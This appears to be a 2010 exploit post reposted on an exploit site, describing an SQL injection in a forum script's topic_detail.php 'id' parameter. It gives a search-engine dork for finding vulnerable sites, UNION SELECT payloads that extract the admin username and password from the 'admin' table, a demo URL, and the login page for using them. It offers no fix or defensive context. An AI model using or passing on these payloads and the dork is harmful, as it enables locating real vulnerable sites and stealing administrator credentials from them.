forum (topic_detail.php) SQL Injection Vulnerability

====================================================
forum (topic_detail.php) SQL Injection Vulnerability
====================================================


[!]===========================================================================[!]
 
[~] forum/ topic_detail.php?id= SQL Injection Vulnerability
[~] Author  : SnIpEr.MoOT HaCkeR ([email protected]) & ([email protected])
[~] Homepage    : http://www.sa-hacker.com
[~] Date    : 13/5/2010
[~]  g00gL3 DorK    : "=inurl:"topic_detail.php?id
[!]===========================================================================[!]
 
[ Software Information ]

[+] Price : free
[+] Vulnerability : SQL

 
[!]===========================================================================[!]
 
[ Vulnerable File ]
 
http://www.localhost.com/forum/topic_detail.php?id= [SQL]
 
[ ExPLo!T ]
 
 UseR:
+union+select+1,2,3,username,5,6,7,8+from+admin--
 
 PasSwoRD
 +union+select+1,2,3,admin_password,5,6,7,8+from+admin--
 
[ LogiN ]
 http://127.0.0.1/login.php

 
[ d3m0 ]
 
http://www.localhost.com/forum/topic_detail.php?id=-7+union+select+1,2,3,username,5,6,7,8+from+admin--
 
 
etc etc etc ;]
 
[!]===========================================================================[!]
 
[ Thx TO ]
 
[+] ThBa7, Abo D3s , Mr.ML7oS , ShGraN, KLoofQ8 , SaFa7 , DeViL HaCkEr , ShaITaN HaCkEr , Dr.Cef , Dr.Omer , Back Track
[+] sql team sa-hacker ..



#  0day.today [2018-02-19]  #